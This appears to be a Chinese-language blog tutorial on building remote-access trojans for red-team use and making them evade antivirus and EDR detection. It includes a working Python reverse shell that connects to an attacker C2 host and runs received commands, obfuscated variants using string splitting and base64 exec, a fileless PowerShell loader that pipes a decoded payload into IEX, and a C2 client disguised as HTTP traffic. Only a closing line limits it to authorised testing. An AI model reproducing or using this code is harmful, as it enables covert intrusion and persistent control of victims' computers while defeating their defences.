一、远控木马的特性与目标分析

远控木马一直是渗透测试和红队行动中不可或缺的利器。它的核心目的很简单:在目标系统上获取并维持控制权。通常,我们会设计木马来满足以下几个需求:

  1. 隐匿性: 必须能够绕过杀软(AV)和端点检测响应(EDR)的检测。
  2. 稳定性: 一旦植入成功,木马需要长期稳定运行,不轻易暴露或被发现。
  3. 功能性: 支持核心操作如文件操作、键盘记录、屏幕截图、摄像头捕获等。
  4. 通信能力: 能通过各种协议(HTTP, HTTPS, DNS, ICMP等)与C2(命令控制服务器)通信。

在实战中,如何让木马免杀是一个关键问题。没什么比看着辛苦开发的木马被杀软秒删更让人沮丧。因此,在设计远控木马时,我们不仅需要考虑攻击功能,还要围绕免杀展开一系列对抗性优化。

接下来,我会结合实战经验,分享从构建到免杀的完整技术链条。

---

二、环境搭建:模拟目标与测试场景

黑客示意图

为了高效开发和测试免杀木马,我们需要一个良好的环境。以下是我常用的搭建方案,既能模拟真实目标,也能测试木马在不同防御环境下的表现。

攻击端

  • 操作系统: Kali Linux 或 Parrot OS
  • C2 工具: Cobalt Strike、Sliver 或自写 Python 服务器
  • 开发语言: Python(用于快速原型开发),C++(用于高性能木马)
  • 辅助工具: UPX 压缩、PyArmor 加壳、obfuscator.io

靶机环境

为了真实模拟,我们需要设置多个靶机:

  1. Windows 10 + Windows Defender: 用于测试木马对微软默认安全措施的免杀效果。
  2. 安装 EDR 的 Windows 11: 测试对企业级防御工具的绕过能力,如 CrowdStrike、Carbon Black。
  3. 虚拟化环境: 使用 VMware 或 VirtualBox 快速部署和回滚测试。

简单搭建命令如下:

<pre><code class="language-bash"># 1. 下载 Windows 10 镜像并创建虚拟机 wget https://software-download.microsoft.com/XXXX-windows-10.iso virt-install --name win10 --ram 4096 --vcpus 2 --disk size=50 \ --cdrom ./windows-10.iso --os-type windows --os-variant win10

2. 安装 Kali Linux 并设置 C2

sudo apt update &amp;&amp; sudo apt install -y cobaltstrike sliver</code></pre>

到这里,基本的测试环境已经搭好。接下来,我们将进入免杀技术的核心部分。

---

三、Payload 构造:从简单到复杂

一个远控木马的核心是 Payload。它的任务是执行攻击者的命令。而在免杀的过程中,Payload 构造决定了木马的可用性和隐蔽性。我们从最基础的 Python Payload 开始,再逐步优化它的免杀能力。

简单的 Python Reverse Shell

这是最常见的木马雏形,功能简单,构造易懂:

<pre><code class="language-python">import socket import subprocess import os

攻击者的 C2 IP 和监听端口

HOST = &quot;192.168.1.100&quot; PORT = 4444

def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) while True: command = s.recv(1024).decode(&#039;utf-8&#039;) if command.lower() == &#039;exit&#039;: break try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e).encode(&#039;utf-8&#039;) s.send(output) s.close()

connect()</code></pre>

这个脚本的核心功能是反向连接攻击者的主机,并执行发来的命令。然而,它的问题显而易见:没有任何免杀手段,会被任何杀软秒杀。

Payload 混淆与免杀

如果直接运行上面的代码,Windows Defender 会立即识别并删除它。因此,我们需要对其进行混淆处理。

方法 1:字符串分割与动态拼接

<pre><code class="language-python">import socket import subprocess import os

混淆关键字符串

H = &quot;192.168&quot; O = &quot;.1.100&quot; P = 4444

def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((H + O, P)) # 动态拼接 IP while True: command = s.recv(1024).decode(&#039;utf-8&#039;) if command.lower() == &#039;&#039;.join([&#039;e&#039;, &#039;x&#039;, &#039;i&#039;, &#039;t&#039;]): # 动态拼接关键字 break try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e).encode(&#039;utf-8&#039;) s.send(output) s.close()

connect()</code></pre>

黑客示意图

这种简单的混淆对普通杀软有一定效果,但 EDR 很容易通过动态分析发现它的行为。

方法 2:Base64 加密代码

将关键代码加密,在运行时解密:

<pre><code class="language-python">import base64 exec(base64.b64decode(&quot;aW1wb3J0IHNvY2tldCBpbXBvcnQgc3VicHJvY2VzcyBpbXBvcnQgb3M...&quot;))</code></pre>

这种方式通过加密提升了检测的难度,特别是在代码量较多时效果更佳。

方法 3:动态加载模块

通过 ctypes 或直接调用系统 API 来加载模块,可以进一步降低被静态特征匹配的概率。例如,使用 ctypes 动态加载 Windows 的 ws2_32.dll 实现网络通信。

---

四、内存加载与无文件攻击

在更高阶的免杀需求下,我们需要避免将完整的木马文件写入磁盘。这时,内存加载技术成为利器。

使用 PowerShell 加载木马到内存

PowerShell 是 Windows 环境下强大的脚本工具,而且其内存执行特性非常适合攻击者隐藏代码。

创建 PowerShell 加载器

<pre><code class="language-powershell"># 将木马代码加载到内存执行 $payload = &quot;[Base64编码后的木马]&quot; [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)) | IEX</code></pre>

将 Python 木马转为 Base64,作为 Payload 嵌入到 PowerShell 加载器中。执行时无需落地文件,直接在目标内存中运行。

---

五、绕过 EDR 的关键:流量伪装与通信对抗

远控木马免杀不仅是绕过静态扫描,更重要的是如何躲过流量检测和行为分析。

HTTP 流量伪装

伪装通信流量为正常的 HTTP 请求,可以有效对抗基于协议的检测。将 Python 木马的通信改造成 Web 流量的形式:

<pre><code class="language-python">import requests

C2_URL = &quot;http://192.168.1.100:8080&quot; KEY = &quot;supersecretkey&quot;

黑客示意图

def send_command(command): data = {&#039;key&#039;: KEY, &#039;cmd&#039;: command} response = requests.post(C2_URL, data=data) return response.text</code></pre>

这种方法让木马的网络流量看起来像普通的 Web 数据包,能绕过许多入侵检测设备。

---

六、个人经验分享:免杀是持续对抗

  1. 动态分析是重点: 杀软越来越依赖动态分析,因此行为伪装比代码混淆更重要。
  2. 多层次免杀: 混淆、加密、API 模拟等技术要结合使用,形成多层对抗。
  3. 测试环境的重要性: 建立多种靶机环境,提前发现木马的薄弱点。

在一定程度上,免杀是一场持久战。攻击者需要不断优化自己的工具,而防御者也在持续进化。希望本文的实践技巧能为你的红队行动提供一些新的启发。

黑客示意图

声明:本文仅限于授权的安全测试,严禁用于非法用途。